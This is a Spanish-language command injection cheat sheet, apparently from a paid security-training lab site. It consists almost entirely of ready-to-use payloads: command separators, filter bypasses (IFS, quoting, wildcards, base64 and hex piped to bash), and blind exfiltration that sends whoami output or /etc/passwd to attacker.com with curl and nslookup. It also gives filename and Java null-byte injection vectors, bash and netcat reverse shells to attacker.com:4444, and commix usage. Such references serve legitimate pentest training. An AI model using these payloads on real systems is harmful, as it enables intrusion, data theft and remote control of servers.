Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet Command Injection

Inyeccion de comandos OS

Referencia rápida

  • Probar separadores en orden: ||, &&, ;, |, %0a, backticks, $()
  • Para blind command injection, usar siempre time delay como primera confirmacion
  • $IFS y wildcards (/???/??t) permiten bypass de filtros de espacios y comandos
  • Los 25 parametros mas vulnerables: cmd, exec, command, ping, query, code, func, arg
  • Command injection en filename es un vector infravalorado - probar siempre en uploads

Separadores de comandos

Pipe

| id

Doble pipe (OR)

|| id

Ampersand

& id

Doble ampersand (AND)

&& id

Semicolon

; id

NewlineNewline URL-encoded

%0A id

Backticks (Unix)

`id`

Dollar subshell (Unix)

$(id)

Payloads con variantes de espaciado

Pipe con espacios variados

ls||id; ls ||id; ls|| id; ls || id

Ampersand con espacios

ls&&id; ls &&id; ls&& id; ls && id

IFS como separador$IFS es el separador de campos interno de bash

ls${IFS}id

Variable vacia como espacio

ls${LS_COLORS:10:1}${IFS}id

Tab como espacio

cat%09/etc/passwd

Blind command injection

Time delay (sleep)Si la respuesta tarda 5 segundos = vulnerable

|| sleep 5

Time delay (ping)

|| ping -c 5 127.0.0.1

DNS callback (exfiltracion)

|| curl http://$(whoami).attacker.com

HTTP callback

|| curl http://attacker.com/?d=$(cat /etc/passwd | base64)

Output redirectionLuego acceder a /output.txt desde el browser

|| whoami > /var/www/html/output.txt

Nslookup exfiltration

|| nslookup $(whoami).attacker.com

Bypass de filtros

Comillas para romper comandoComillas simples dentro del comando se concatenan

w'h'o'a'm'i

Doble comillas

w"h"o"a"m"i"

Backslash

w\h\o\a\m\i

Variable de entornoWildcards: /bin/cat /etc/passwd

/???/??t /???/p??s??

Base64 encoded2hvYW1p = whoami en base64

echo d2hvYW1p | base64 -d | bash

Hex encode

echo -e '\x77\x68\x6f\x61\x6d\x69' | bash

Vectores de inyeccion

Command injection en filenameProbar en upload forms cuando el server procesa el filename

filename="test || sleep 30 ||.gif"

Java null byte separationJava usa null bytes para separar argumentos de proceso

?prefix=x%00--exec=/bin/bash%20-c%20'id'%00--remote=file:///%00x

Reverse shell (bash)

; bash -i >& /dev/tcp/attacker.com/4444 0>&1

Reverse shell (netcat)

; nc -e /bin/bash attacker.com 4444

Herramientas

commix

Herramienta automatizada de deteccion y explotacion de command injection

python3 commix.py -u "https://target.com/ping?ip=127.0.0.1" --batch

Burp Collaborator

Servidor de callbacks para confirmar blind command injection via DNS/HTTP

Burp Suite > Burp Collaborator Client

Interactsh

Alternativa open-source a Burp Collaborator para callbacks OOB

interactsh-client -v

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica